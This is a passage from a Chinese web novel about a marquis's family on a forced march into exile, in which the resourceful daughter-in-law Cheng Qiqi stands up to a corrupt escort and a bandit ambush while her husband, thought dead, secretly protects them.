倒是被侯爷宠着的林惠兰和靳砚之还有靳雪儿三个人,离的远远的,仿佛侯爷身上有什么脏东西一样。 或许,这就是患难见真情。 程七七没有再看,而是开始去熬退烧药了,犹豫再三同,她没有加退烧药,中药和西药放在一块,谁知道会不会把人整死了? 浓郁的苦味从小药罐里散发了出来,天,渐渐的黑了,程七七抱着女儿,轻轻拍着她的后背哄着。 一直乖乖躺在程七七怀里的程岁安,眼皮子都开始打架了,困意朦胧的说:“娘,爹爹的背,也跟叔叔一样吗?” “安安。” 程七七低头,看着女儿已经睡成小猪了,她亲了亲女儿,眼底的心疼浮动。 程七七抬眸,就看到林惠兰那愤恨的眼神,她装作没瞧见。 饿一天,也饿不死。 “快点起来,出发!” 一个衙役敲着锣,将靳家人全部都吵了起来,有了昨天靳砚之差点被打死的经验,谁也不敢吵闹说些什么。 “嫂嫂的药真管用,二叔退烧了。” 靳礼之熬了一晚上,确定侯爷的身体不烧了,靳家人这才松了一口气。 柳素仪也松了一口气。 烧火做饭? 那是不存在的,只能将昨天没烧完的柴,往马车,往板车上塞。 简单的吃点昨天红薯,就准备起程了! 饿了两顿的林惠兰仨个人,这会已经眼冒金星了,看着那冷掉的红薯,也冲过来往嘴里送。 “给!” 林惠兰生怕程七七会抢,悄悄扔了一点碎银子过去,就跟靳砚之和靳雪儿一起吃了。 程七七拿着碎银子,唇角勾起一抹笑。 昨天吃饱的靳家人,今天走起来更有经验,靳岁安也不用程七七抱了,靳家旁支那几个兄弟,轮流的背着安安。 烈日烘烤,前路遥远,靳家人谁也不想说话,厚重的的枷锁镣铐,走不完的路。 麻木的走了两天。 望京镇。 离开京都的第一个镇,虽然镇小,但该有的应有尽有。 “大人,能否通融一下,我们去买些粮食,衣物?” 靳大爷作为老大,主动站了出来,拿出银钱通融。 “好说,好说。” 刀疤张掂了掂银子,眼皮子一掀道:“阿贵。” “大人,我跟着他们去,保准他们跑不了。” 张贵上前一步,腰间挂着佩刀,身上穿着衙役的衣服。 靳家人聚在一起商量着谁去。 最后,靳大爷、靳三爷、靳四爷、靳砚之四个人一起去! “去这么多,你们当逛街呢?” 张贵看着他们四个男人去,没好气的说着:“两个。” 最后,靳大爷和靳四爷去的,他们去镇里买东西,剩下的人则是在驿站。 刀疤张几人喝酒吃肉,靳家人则在院子里,席地而坐。 “凭什么我们不能……吃。” 靳雪儿气鼓鼓的,话还没说完,就被林惠兰捂着嘴,提醒道:“要是不想被欺负,就闭上嘴!” “唔。” 靳雪儿眨巴着眼睛,最终不敢说什么。 靳家人看着衙役他们喝酒吃肉,这些衙役可不是什么好人,动不动就打骂。 很快,大家忙碌了起来,借用着厨房开始烙饼了,连着牢里,一共吃了六天的粥,大家谁也不想吃了! 程七七迅速的烙完饼,就跟着柳素仪和靳岁安一块分着吃了! “七七,你这厨艺,真厉害。” 柳素仪发现这个曾经看不起的乡下儿媳妇,就像是宝藏一样,不仅脑子好使,连厨艺也好,平日里的红薯粥、做的都比别人的香! “……” 程七七笑了笑,她加了糖的粥,肯定比别人做的好吃。 “七七,我拿了钱给大房,到时候买了粮食,我们肯定都能好好的。” “侯爷的身体也开始恢复了。” “老夫虽然迷糊,但,也醒来几回。” 柳素仪絮絮叨叨的,中心思想就是感谢程七七。 很快,买完东西的靳家大房和四房回来了,整整一马车的东西。 张贵跑到刀疤张面前,小声嘀咕着:“靳家,有钱!” 刀疤张挑了挑眉:“瘦死的骆驼,比马大!” “来,喝酒。”刀疤张端着酒杯,一口酒一口肉,好不快活。 靳砚之用力吸了吸鼻子,混着这酒肉香,咬着饼一脸嫌弃:“娘,不是给了钱吗?怎么连肉都没得吃?” “砚之,这就是一个小镇,下次路过大城的时候,娘给你买肉。” 林惠兰小声安慰着。 吃饱喝足之后,大家伙主动的拿着被子准备着晚上休息了。 之前在荒郊野外,大家都是男的三三两两挤一堆,将女眷和孩子围在中间。 今天各家多买了一床被子,夜里也不用太冷了。 “娘,我想去茅房。” 靳雪儿小声说着,林惠兰看了一眼靳萱儿道:“你叫她一块吧。” 她脚上的泡起了破,破了又起,可是一步都不想走了。 靳雪儿拉着大房靳萱儿去了,陪同着的,有大哥靳礼之,程七七刚将睡着的靳岁安盖好被子,眼角余光看着满脸酒气的张贵带着一个衙役鬼鬼祟祟的跟过去了。 第一卷 第13章 会飞的石头 “太臭了。” “靳萱儿,你给我遮严实点。” 靳雪儿一脸不高兴的穿好衣服,站起身,嫌弃的看着靳萱儿拿衣服给她挡着恭桶,她在靳萱儿身上擦了擦,就往外走。 刚走到门口,就被一个男人挡住了。 靳雪儿吓得一把拉过靳萱儿往前推了过去。 “哎呦。” 靳萱儿完全没有反应过来,瞬间就撞到了张贵的身上。 ‘嘶,香。’ 张贵深吸了一口气,愣是闻到了属于女儿家的少女幽香,趁机摸了一把靳萱儿的腰。 “唔!” 靳萱儿吓得刚要尖叫,嘴上就被捂住了,她求救地看向不远处的靳礼之。 “妹……” 靳礼之刚一动,护卫手里的刀用力按在靳礼之的脖子上:“不想死,就闭嘴。” 靳雪儿瑟瑟躲在一旁,看到护卫刀上汩汩流出来的血,根本不敢叫,她心中庆幸,刚刚幸好把靳萱儿推过去了。 “唔~唔、” 被捂着嘴的靳萱儿,拼命的挣扎着,眼角流下无力的泪水,腰上那手在她身上四处游索着,似挣不脱的禁锢,她万念俱灰。 “放开她!” 躲在暗处的程七七拎起一块石头,就朝着张贵的脑袋,狠狠的砸了下去! “啊……” 张贵捂着脑袋,黏腻温热,血…… “滚开!” 程七七一脚就将张贵踹飞了,伸手拉住靳萱儿,一把将靳萱儿拉到了她身边:“你没事吧?” “嫂,嫂子。” 靳萱儿吓呆了,看着程七七,眼泪流得更凶了。 “你个臭娘们!” 张贵被踹的踉跄倒退了好几步,他气愤的从脚上拔出一把匕首,朝着程七七扑过去。 “哎呦。” 张贵只觉得膝盖就像是被什么撞击了一样,膝盖一软,半跪在地上。 程七七瞳孔一缩,刚刚是有块会飞的,而且长了眼睛的石头? 下一刻,程七七却来不及多想,看着已经爬起来的张贵,她拉着靳萱儿就朝着靳家人跑去。 一边跑一边大声嚷了起来:“救命啊,来人啊,官差想杀人了!” 黑夜中,程七七清脆的声音,就像是一颗巨石,砸入一平静的湖面。 靳家人,除了躺在昏迷的靳侯爷,和半梦半醒的老夫人之外,全部都朝着茅房的方向跑了过去! 刚喝完酒的刀疤张等人,沉着脸,也过来了。 “怎么回事?” 刀疤张看到受伤的张贵时,眼眸更是一沉! “他,身为押送官差,欺负人不成,就想要杀人灭口!” “我们靳家虽然是流放的犯人,但也不是可以随意欺凌的!” 程七七一开口,靳家人看到被护卫刀架住的靳礼之,再看看躲在程七七身后的靳萱儿,哪里还能不知道怎么回事的! “对,我们靳家人是犯人,但,你们官差也不能太过分了!”靳大爷站了出来,二弟说过,光脚的不怕穿鞋的! 他们都流放了,要是还被人欺负,那还不如死了算了! “对。” 靳二爷、靳三爷也站了出来。 “他想欺负萱儿妹妹,幸好,嫂子及时出现,救下了萱儿妹妹。”靳礼之没了护卫的挟制,挑着重点说了! “放你娘你的屁!” 张贵捂着被砸的脑袋,听着靳家人的控诉,瞬间气的脸都黑了:“她把老子撞了,老子扶她一把,怎么就是欺负人了?” 颠倒黑白嘛,谁不会似的! “你敢说,你不是故意站在这里的?” “你敢说,你刚刚没存着欺负人的心思?” “你敢说,护卫拿刀架着靳礼之脖子上,不是为了让你为所欲为的?” 程七七的三连问,把张贵问的哑口无言。 程七七转身,看着带着醉意的刀疤张,道:“大人是不在乎我们一两个人的生死,如果,我们全部都死了呢?” 程七七一字一句的声音,如大鼓敲在刀疤张的心尖,流放之人,死上几个,是正常的,只要理由正当,谁也怪不得他! 但,若全死了…… 刀疤张眯着眼睛,冷风一吹,酒意醒了几分,他冷笑着道:“好个牙尖嘴利的丫头,出身乡野的世子妃是吧?你不服管教,煽动闹事,今日……” 刀疤张的刀,迅速的架到了程七七的脖子上,他脸上狰狞的刀疤,在此时,更显得可怖,冷笑道:“你死了就死了,至于他们?好死不如赖活着,你以为,你威胁得了我?” 刀疤张的眼中尽是嘲讽。 冰冷的刀贴着皮肤,程七七身侧的靳萱儿吓的腿都打抖了。 程七七挺直了脊背,笑道:“我们都是犯人,大不了,从流放变死刑,但大人可就不行了,这一趟没少挣银钱吧?这要是死了,才真可惜。” “人死了,钱没花完!” 程七七侧目,没管刀疤张越来越黑的脸,程七七的目光落在靳家人的身上:“今日受欺负的是靳萱儿,我们两个死了没事,但下一个,就是你们。” 程七七清脆的声音掷地有声:“现在不反抗,等他们得寸进尺,就算苟活到了岭南,又有何意义?” “你要敢动七七,我们全家黄泉见!” 柳素仪第一个站了出来,当家主母的风范一出,刀疤张的手一紧,冷笑道:“侯夫人当真舍得死?” “有何不舍得?儿子死了,唯一的儿媳妇死了,我孙女肯定也活不下去,侯爷半死不活的,我一个妇道人家不死,难道等着你们来欺辱?” 柳素仪眼眸坚定,只要他们得到了靳萱儿,下一刻,便是靳家的女眷,哪怕到了岭南,只怕女眷没一个好下场的。 “你要是敢杀她们,那我们全家也不活了!”靳大爷上前一步,看着吓的瑟瑟发抖的女儿,庶女,那也是亲生的! 再看脖子上有血痕的靳礼之,今天妥协的是靳萱儿,明天可能就是自家儿媳妇,甚至自家媳妇…… “流放这么苦,还不如大家一块死,黄泉路上有个伴。”有女儿的靳四爷也坚定的站在程七七的身后。 “还有我们!”靳三爷也站了出来,一副不怕死的样子! 林惠兰拉着靳雪儿,也躲在靳家人的身后。 刀疤张的脸色黑如锅底。 黑暗中,衙役们拿着刀,但却不敢动,这娘们说的没错,靳家人要是全死了,那押送官差的衙役,也得死。 靳家人都一副视死如归的模样,场面,陷入了死一般的寂静,不远处的林子里,三双眼睛,将这一幕,尽数看在了眼里。 第一卷 第14章 不能叫世子 “大人!” 程七七再次开口,把所有人都吓了一跳。 “只要他保证不再欺负我们靳家女眷,我们也不是那么不懂事的。” 程七七说着,从怀里摸出一张银票出来:“此去岭南三千里之遥,文书上可是活的才算数,不然,到了岭南,文书对不上?那大人岂不是白跑了一趟?” “世子虽然死了,侯府也倒了,但,世子的部下,总有那么一两个忠心耿耿的吧?” 程七七的话音落下,捂着脑袋的张贵,瞬间就尖叫了一声。 “啊……” 张贵的两个膝盖,瞬间就像是被东西击中一样,双膝跪地,疼的眼泪都出来了。 “什么人?” 刀疤张脸色一变,环顾着四周,却是连个人影都没找到,他的心中惴惴不安,难道真是世子的旧部? “既然他都跪下道歉了,我们也不是小气的人,这事就这么算了吧,不知明日,可否让侯爷和老夫人躺在板车上,也能不耽误赶路。” 程七七趁机开口,拿着银票,塞到了一旁的靳润之手上。 靳润之愣了一下,立刻机灵的上前,送到了刀疤张的面前:“大人,还请您行个方便。” “哼。” 刀疤张冷哼一声:“明天开始,五十里没走到,就别歇了!” 话落,刀疤张转身就走。 衙役们催着他们回去了。 “真,真的是世子的部下来帮我们了!” 靳家人却四处环顾着四周也想寻找,刚刚是谁在帮她们? 可,茫茫黑夜,什么都看不着。 “肯定是,这些官差,不敢太过分了!” 靳家人只觉得狠狠的松了一口气。 “嫂子,谢谢你。” 靳萱儿深深的朝着程七七鞠躬,要不是程七七来,只怕她…… 靳萱儿想着刚刚那一幕,浑身颤抖的。 “别怕,只要我们团结一心,谁都别想欺负我们!” 程七七鼓励的说着:“你就当踩着狗屎了,没事的!” 狗屎? 靳萱儿本来还害怕的,这会却是有一点点想笑! 经过这一闹腾,大家仿佛知道有世子旧部护着他们,他们都睡的更安稳了。 柳素仪看着程七七的眼睛却是热切的很,程七七当得起侯府世子妃! 先是气势上把刀疤张吓唬住了,然后用银票施恩,最后也还让侯爷和老夫人坐上了板车。 要知道这些日子,他们每天塞钱,刀疤张就是不松口坐板车的事情! “大人,什么人都没看到!” 刀疤张心神不宁的等了半天,听到衙役的差,一脚踹了过去:“没用的蠢东西!” 刀疤张眼眸沉了下来,跟着张贵一块负责文书的李八道:“大人不必过度忧心,就算是世子旧部,也不过是想护着靳家人活着,而我们的目的,也不是杀了靳家全家!” “此去岭南三千里,这才开始,往后路途遥远,想要让侯爷死,有得是办法。”李八的声音似低喃。 刀疤张的眼眸瞬间就亮了,他都想岔了! 李八垂下眸子,看到张贵进来,立刻出去了。 “爹。” 张贵包扎好伤口之后,气愤的闯进来:“难道我这伤就白受了?那娘们……” ‘啪。’ 刀疤张一个巴掌甩了过去,张贵本来脑袋就被砸出血了,这会更是被打的晕晕乎乎的! “以后,不许再打靳家女眷的主意!” 刀疤张冷冷的睨了张贵一眼,儿子也别想挡他的发财路! 刀疤张摸着怀里的银票,这一趟,碰上靳家这肥羊,有了银钱,往后他什么好日子没有? “世子,那个刀疤张不过就是一个九品的巡检,给你提鞋都不配,居然还敢动靳家人。” “真是太过份了!” 黑夜里,重山阴沉着脸,恨不得上前,直接将那些官差全灭了! “重山,不能叫世子!” 胡军医一把拉住重山,抬头看向前方站着的靳墨之,月光下,那半张脸的虬须,和以冷峻矜贵的忠勇侯世子,形成了鲜明的对比! 世子苏醒后,就立刻不顾虚弱的身子,改头换面的追上来了,世子几次发烧,伤口崩开,这才耽误到今天! 谁知道,刚刚赶到,就碰到靳雪儿拉着靳萱儿推到张贵的怀里了! 他们正要出手,谁知道,世子妃出来了,刚刚那一幕,再配上世子石头飞镖,那可真是太爽了! “老胡说的没错,以后,叫我大哥就行。” 靳墨之睨了重山一眼,哪怕成了虬须大汉,但那颀长的身子,通身矜贵的气质,还有那双冷厉的双眸,哪怕一身粗布衣裳,也让重山不敢直视,改口道:“大哥。” “下一站的补给安排上,一定要护他们平安抵达岭南。” 靳墨之抿着唇,道:“到了洪都之后,止水去边境也能有消息了,到时候一定要查清楚,到底是谁,贪墨了军饷银,扣到了侯府的头上!” 为了一村三百户一千村民的性命,违抗皇命,哪怕他死了,他也不害怕。 但,贪墨军饷银,才是抄家流放根源,这事,他一定要查个水落石出! 只不过…… 靳墨之抬眸,漆黑如墨的眸子落在了先前程七七站立的地方,先前跟刀疤张对峙时,她的浑身就像是散发着光芒一样,和京都那些娇养在深闺的贵女,完全不一样。 他眼底透着一抹深思,记忆中,粗鄙贪财,爱慕虚荣的程七七,似乎跟今天看到的,完全不一样! 翌日,侯爷和老夫人躺在了板车之上,靳家人只用推板车,轻松了一大截。 甚至连枷锁都换上了镣铐。 年纪小的靳允和靳岁安两个人就像是春游一样,上午跟着走路,下午则是被靳家人背着! “母亲,换上新鞋吧。” 程七七拿着新布鞋出来,给柳素仪换上,一天五十里路,从最开始的走不动,到后来,脚都走麻木了。 软底的布鞋,磨破了一双又一双。 “七七,多亏了有你。” 千层底的布鞋,虽然粗布,没有软底布鞋好看,但走起路来,没那么硌脚! “这也不是侯府,你就跟我娘吧。”柳素仪现在对这个儿媳妇是满意的不得了,可惜,儿子没了。 柳素仪想到英年早逝的儿子,她的眼眸垂了下来。 “侯爷的烧退了,我估计着,今天就能醒。”程七七的一句话,瞬间就转移了柳素仪的注意力! “二婶,二叔醒了!” 靳礼之激动的声音传来。 第一卷 第15章 留下买路财 柳素仪刚要上前,林惠兰就扑了过去:“侯爷,你终于醒了,妾身真是快吓死了!” 林惠兰一想到这些日子的委屈,眼泪簌簌落下。 呜咽的哭声,放在从前,侯爷还得哄哄,可这会刚刚醒来的侯爷,他浓黑的眉毛一沉:“闭嘴!” 哪怕声音虚弱,但威严十足。 林惠兰瞬间就不敢哭了,只能无声掉着眼泪。 “素仪。” 侯爷一眼就看到了站在一旁的柳素仪,一身囚衣,但往那里一站,跟林惠兰那不堪一击的模样,完全不一样,仿佛天塌下来,她也依旧能保持当家主母的风范。 “侯爷。” 柳素仪上前一步,端着刚煎好的药上前:“多亏了七七的药,否则,侯爷这次,怕是凶险了。” 冒着热气的药,带着浓郁的苦味。 “七七是谁?”忠勇侯刚准备将药喝了,药碗就被抢了! “呵!” 柳素仪冷笑着一把抢过他手里的药碗:“靳义,你可真是好样的,你孙女的娘叫什么名字都不知道?” “哦,那个乡下……”丫头。 忠勇侯后面的话还没说完,柳素仪咬牙道:“七七是靳家的儿媳妇,枉她还给你熬药,又拿出珍贵的药给你敷身上的伤,还拿出粮食,没让我们饿死在流放的路上,你居然不知感恩!” 柳素仪就差指着他鼻子骂他白眼狼了! 忠勇侯:“……”他刚醒来,什么都不知道啊! “素仪。” 忠勇侯刚要开口,柳素仪转身:“既然你身体好了,那这药,也不用吃了!” 柳素仪气愤的朝着锅边的程七七走去,走了一半,才想起曾经的她,似乎也和忠勇侯一样的态度。 “七七,我的嫁妆还藏了不少,等到了岭南,就找人去拿回来。” 柳素仪突然出口的话,还有眼底的愧疚,程七七耳力好,将刚刚听到的话一结合,就知道婆婆是为什么了。 程七七笑道:“娘,你那些好东西,还是留着吧。”在侯府里,她从柳素仪的库房里,得到了不少宝贝呢! 侯爷听着靳礼之他们说起流放路上,全靠程七七丫鬟送来的衣服被褥和药之类的,侯爷沉默了,总结道:“患难见人心。” “侯爷。”靳大爷刚开口。 忠勇侯道:“行了,大哥,你叫我二弟就行,都成犯人了。” “二弟,昨天晚上,是不是真的世子旧部来保护我们了?”靳大爷的问题,可问出了所有靳家人的想法,真有旧部,那他们以后就不愁吃喝了。 “只要他们以为是,就行了。” 忠勇侯抬眸,看着刀疤张等官差,一路上,不让他们买药,想熬死他? 他靳义的命,还没那么容易死呢! “爷爷。” 靳岁安小心翼翼的端着药递上前:“喝药。” 脆生生的话语方落,靳岁安抬起头,看到忠勇侯严肃的脸庞时,有一瞬间的害怕,但,娘说:爷爷是大英雄。 可,爷爷好可怕! “你……” 忠勇侯看着小姑娘手里端着的药碗,面露复杂,他接过药碗,刚想说话,靳岁安转身就跑了。 “二弟,你有个好孙女啊,安安乖巧懂事又可爱。” 靳大爷羡慕的开口,这流放路上,最初要是没有程七七的粮食,他们怕是饿死,连个干净的衣服都没有! 大概是因为怕世子旧部的事情,接下来的流放路,刀疤张等人收敛了很多,除了一天赶五十里路之外,并没有过多的为难他们! 从京都往岭南,从平原进入了山路,官道上的路,也是愈发的难走! 靳砚之捂着肚子道:“我好饿啊,走不动了!” “忍忍吧,大家都没得吃。” 林惠兰本以为侯爷醒过来之后,她们的日子能好过点,谁知道,侯爷一点好脸色都不给她们。 这太阳又晒,路又难走,靳砚之只觉得未来一片黑暗。 马车上。 “爹,难道就让他们这么平平安安的到岭南?” 张贵捂着他的头,伤虽然好了,但那天跪着道歉,他心里过不去! “闭嘴。” 刀疤张恨铁不成钢的看着张贵:“滚下去。” “爹。” 张贵还想说话,刀疤张眼睛一瞪,他瞬间不敢再说,灰溜溜的下了马车。 “张哥,前面,就是盘龙寨,土匪多。” 李八小声的说着:“我们这边衙役不如土匪多,侯爷死在土匪手里,朝廷,也怪不到我们头上。” “等会,机灵点。” 刀疤张笑了,脸上的刀疤,显得更加狰狞了。 “娘,这里好多山啊,山里有好吃的野果子吗?有香喷喷的红薯吗?” 靳岁安和靳允两个人从小在侯府长大,还真没见过这么多的山! “有啊,等休息的时候,娘就带你去找,这个时节,山上应该有板栗吧?” 程七七环顾着这茂密的山林,就算没有,她空间里也有! “真的吗?” 靳岁安一听着有板栗,高兴的蹦蹦跳跳的,开心的问:“娘,那你给我做栗子糕吗?” “……” 在侯府,院里有小厨房,程七七闲的无聊,就经常给靳岁安做好吃的,但,这荒郊野岭流放路上,肯定是没有的! 程七七眼眸一闪,笑着说:“找到板栗后,娘给做板栗粥好不好?煮粥可甜了!” “娘做的什么都好吃!” 靳岁安扑过来,抱着程七七的腿,高兴的很。 突然,山顶上冲下来一伙拿刀的土匪:“此山是我开,此路是我栽,要从此路过,留下买路财!” 领头的土匪拿着一把大柴刀,凶狠的说着。 “大哥,是官差。”一旁的瘦高个盯着衙役说着。 “官爷,我们不抢你们,抢他们!” 领头的土匪盯着靳家人,目光落在了忠勇侯的身上,没等官差反应过来,道:“被流放的都是贪官,他们肯定有粮食!” “反了!” 刀疤张愤怒的说着,道:“光天化日之下,居然敢抢劫,来人,都给我拿下!” 张贵还有护卫们一哄而上,架不住土匪人多势众,很快,就将队伍给冲散了。 程七七护着靳岁安往后退,盯着那些土匪不像土匪,倒像是训练有素的杀手,看似要抢东西,但,实际上,似乎是冲着侯爷来的? “娘,我们的吃的要被抢了!” 靳岁安看着那些土匪去翻马车,急的朝着马车跑过去,程七七关关注着土匪了,完全没拉住,更没想到,躲在她身后的女儿会冲出去! 正翻找着值钱东西的土匪,看到靳岁安,嫌弃的抬脚就朝着靳岁安踹过去! “安安!” 程七七的瞳孔一缩,张开手,朝着靳岁安扑了过去。 第一卷 第16章 为什么过城不入 意料中的疼痛没有传来,程七七一回头,看到一个虬须……大汉,直接将那土匪一脚踹下了马车! “安安,你有没有事?” 程七七低头,迅速的扒拉了一遍女儿,确认她没有事,这才拉着她躲在了角落里,她抬眼,再次看向了那虬须大汉,一身粗布麻衣,短褐的样式,看起来,就像是从地里干活回家。 可,他颀长的身形,刚刚踢土匪时,那优越的大长腿,过分帅气! 此时,虬须大汉正背对着她,三下五除二的就将土匪打趴下,空手夺白刃,这怎么看都是帅的,但一回头…… 满脸的胡须,实在是跟俊扯不上什么关系,倒是他的眼睛,深邃如古井,跟他的脸,似乎有些违和,还有一丝丝的眼熟。 “七七,安安,快,快到这边来。” 柳素仪看到那些土匪真刀真枪的,吓的脸都白了,看到程七七和靳岁安还在马车边上,连忙招呼着。 土匪们要的也就是粮食,钱财,丢了也就丢了,她们母女,可得活着。 程七七来不及多想,就护着女儿,跟着柳素仪躲在一旁安全的地方了。 “那些护卫真是太过分了,知道土匪冲我们来的,一点都不管。” 柳素仪的气愤的说着,道:“幸好侯爷醒了,否则……” 程七七从混乱的人群里,看到了异常勇猛的忠勇侯,哪怕之前受到的杖刑才苏醒没多少日子,此时的忠勇侯,完全就像是久经沙场的老将一般! 那些土匪,被打的落花流水的,再加上虬须大汉,和另一个身形高大的汉子一块,再加上靳家旁支那么多个男人,倒也打的难舍难分! 至于押解的护卫? 那装模作样地拦一下,简直不要太好笑! “狗官,把我们的钱贪完了,去死吧!” 土匪们呐喊声响起。 “侯爷。” 柳素仪一声惊呼,当看到那个领头的土匪一刀划拉了忠勇侯的半个背时,鲜血飞溅。 “滚!” 虬须大汉的长腿一踹,反手一刀就送进了领头土匪的胸口。 “大哥。” 土匪们纷纷围了上前,领头的土匪捂着汩汩流血的胸口:“撤。” 土匪们来得快,去的也快! 瞬间就消失在旁边的林子里,如果不是一地的鲜血,只怕都以为刚刚是一场梦了。 虬须大汉扶着忠勇侯半躺下,从脖子上一扯,塞了一粒药丸到忠勇侯的嘴里。 口哨声响起,枣红大马不知从哪蹿了出来,虬须大汉和另一个大汉骑着枣红马走了,马消失的方向,猩红的血液,似雨滴落下,留下一路痕迹。 “侯爷。” 柳素仪踉跄的跑了过去,看到他后背那手臂长的伤口,汩汩流血时,她害怕的捂着嘴,眼泪就像是断了线的珍珠一样。 “二叔。” 靳礼之等人,站在一旁,看着那一瘫的血,吓的都不知道该怎么办。 林惠兰和靳砚之母子两个躲得远远的,根本不敢靠近。 “我这里还有止血的药粉,先止血,包扎伤口!” 程七七从腰间拿出生肌止血的药粉,蹲下身子就开始往侯爷的身上洒了上去。 程七七的冷静,也让靳礼之等人知道该做什么了,撕布条,开始给忠勇侯身上包扎着伤口! 一地狼藉的,张贵刚刚被那些土匪吓坏了,这会看着忠勇侯那长长的伤口,吓的不行,小声问:“爹,他,他不会死了吧?” 他的声音中,都带着颤抖。 “出息!” 刀疤张一脚踢了过去,他怎么就生了个这么没出息的儿子? 刀疤张若有所思的看着虬须大汉两个人消失的方向,土匪一来,他们就出现了,刚刚给忠勇侯塞药的画面,他可看的清清楚楚的! 看来,真是世子残存的旧部? 世子死了,侯府倒了,还真是够忠心的。 刀疤张清了清嗓子道:“你们赶紧收拾收拾,准备继续赶路!” 忠勇侯伤口都没包扎完呢,听到刀疤张的话,大家心底的气愤归气愤,但,也都想早点离开,谁知道那些土匪会不会来个回马枪? 马车上的粮食,被翻动的乱七八糟的,被褥也被丢在了地上。 靳家女眷们,也纷纷收拾着东西重新放到马车上。 “大家动作快点,等土匪再回来,大家都别想活。” 刀疤张一声令下,靳家人的动作更快了。 简单包扎过的靳侯爷被抬到了马车上,再次踏上了流放路,大家看着昏迷的忠勇侯,满脑子都只有一个念头。 侯爷,还能醒来吗? 一匹枣红马停在了一个茅草房里,正在配制药草的胡军医一抬头,看到昏迷过去的虬须大汉时,立刻上前将人扶了下来,一边问:“怎么回事?还受伤了?我准备的救命药呢?” “侯爷他们碰上了土匪,肯定是伪装的杀手,伤了侯爷不说,还伤了大哥,大哥的救命药,给侯爷了。” 重山的声音都带着哽咽,一路上,他都是快马加鞭的,就怕世子有问题。 “行了,赶紧拿止血药粉来。” 胡军医看到世子手臂上的伤口,松了一口气:“还好,没伤到要害。” “为什么过城不入?我们可以到城里去买药!” 明明都到了县城门口了,刀疤张却以赶路为由,要继续往前走。 “啪。” 刀疤张手中的鞭子一扬,刚刚问话的靳大爷瞬间就被鞭子抽的皮开肉绽的! “被土匪耽误的时间,不得赶上?” 刀疤张眼皮子一掀,那狰狞的伤口,显得格外的可怖! “爹。” 靳礼之上前,扶住亲爹,这才悄悄拿着碎银子上前,讨好的笑道:“大人,我二叔刚刚受了伤,得进城买药,还请大人通融一二。” “哦?” 刀疤张拿起碎银子掂了掂,眼底闪过一抹嫌弃,靳家人出手是越来越小气了,他将银子一收,冷脸拒绝道:“不行!” “大人,刚刚土匪来了,你们没有保护我们……” 靳礼之的话还没说完,刀疤张手中的鞭子一扬,划破长空。 ‘啪’的一声,仿佛打在了所有人的心尖。 刀疤张直接站到了马车上,居高临下的道:“那些土匪报复贪官,为民请命,死了也跟我们没有任何关系!” 第一卷 第17章 能换鸡吗? “他们肯定收了崔家的钱,想要侯爷的命!” 柳素仪气愤的说着,明明可以进城休息,非要再赶五里地,在这荒郊野外休息! 这是不想让他们去买药,想要拖死侯爷! “二弟的伤口又瘆血了。” 靳大爷担心的看着忠勇侯,自从土匪那里离开之后,忠勇侯再次陷入到昏迷当中。 “大伯,你肩膀上的鞭上,也上点药。” 程七七拿了一瓶子药上前。 “我没事,药还是留着给二弟。” 靳大爷担心的看着忠勇侯,他们兄弟四个,虽然是堂兄弟,但,二弟脑子活泛,哪怕流放到了岭南,有他在,那就是有主心骨! 若是忠勇侯没了? 那他们到了岭南,还能活下去吗? “大伯,好身体,才是最重要的。” 话落,程七七转身就走,她打算是附近的山里走走,看看能不能趁机拿出一点吃的来。 天天喝粥,红薯土豆之类的,大人还算好,安安和靳允年纪小,经常腹胀不舒服。 程七七刚说要去附近寻找一些野菜。 “乡下人,还吃野菜呢!” 林惠兰本能的嘲讽了一句。 下一刻,林惠兰就收到了大家凶狠的眼神。 “野菜有什么不好的?能填饱肚子,饿不死,总比你们娘三个,什么也不会干的好。” 三房温氏,直接就怼了回去。 四房李氏赞同的点头道:“也就侯爷对你们心软,都流放了,还想饭来张口,衣来伸手呢?” “七七啊,我们跟你一块去。” 温氏看向程七七的眼神,温和的很。 “好。” 很快,大家就商量着,让大房何氏带着孟静瑶、高胜兰、靳晴还有柳素仪一起在这里煮粥,收拾着东西,她们几个,则是到附近去找吃的! “这些人真是过分,我们戴着镣铐,还能跑到哪里去?” 温氏回头,靳礼之他们几个年轻力壮的小伙子,都来捡柴了,旁边还有几个带刀的衙役,跟在她们的身后,衙役手握着剑,仿佛他们一有什么动静,就立刻打过来! “谁说不是呢,都走了半个月了,什么时候才能到岭南啊。” 李氏发愁的看着四周:“这会是秋天,山里有野菜吗?” “三婶,四婶,我跟萱儿去方便一下。” 程七七拉着靳萱儿指了指旁边的小山后头。 “小心,有事就喊我们。” 温氏点头,立刻回头盯着带刀的衙役。 “嫂子,我在这里给你望风。” 靳萱儿紧紧抓着衣服,站在高处,盯着几个衙役的方向,确保他们不会偷看之类的! 靳萱儿四处张望着,偷感十足。 程七七差点没被靳萱儿的举动给逗乐了,或许是那一晚上,让靳萱儿对她这个嫂子无比的认可,程七七慢慢蹲了下来,仔细寻找着,哪里可以放点什么东西? “咦,萱儿,你看,这里是不是好多香菇啊?” 程七七趁靳萱儿不注意,直接将两截菇木拿了出来,再伪造出一个它原本就在这里的感觉。 “香菇?” 靳萱儿一回头,看到程七七扒拉开藤蔓,香菇木上,大朵小朵的,可不就是香菇。 “香菇炖鸡可香了!” 靳萱儿咽了咽口水,下意识的说着,随即不好意思的说:“嫂子,我,我……” “不用不好意思,我也想吃香菇炖鸡了。” 程七七含笑看着她,除了流放当天吃上了春桃送的肉包子,后面,半个多月了,他们可没吃上肉! 程七七笑着说着,道:“快喊人来搬到马车上去,想办法挂着,这样我们路上,说不定还能吃上更多的香菇。” “我这就去。” 靳萱儿转身就跑。 程七七立刻就开始摘香菇了,同时,将空间里的香菇也拿出来了不少,满地的香菇,可能吃上好一段时间呢! “哎呦,这么多香菇啊。” “七七可真有福气,我们找了半天,什么都没找到。” 温氏和李氏一边夸赞,一边掀起囚衣,开始装香菇了,一边感慨的说:“这里的香菇长的可真多。” 程七七挑了挑眉:都是她在侯府的院子里,精心伺候的,能不好吗? 靳礼之兄弟几个听说这里发现了香菇木,虽然奇怪为什么是切好的香菇木,但,在山上,他们捡着,就是他们的! 于是,靳礼之兄弟几个,就开始扛着这两段香菇木往回走了! 程七七跟着靳萱儿,朝着附近继续走,陆续的找到不少野菜:“马齿苋、荠菜、野葱,大家多摘点。” 不用程七七说,温氏、李氏还有靳萱儿三个人,已经埋头摘野菜了,混一点点米煮着,总比天天红薯粥的好吧? 于是,她们三个人恨不得把地给薅秃了。 程七七回头,看着她们没有注意到自己,立刻就开始表演了,野鸡嘛,那不得好好想法子? 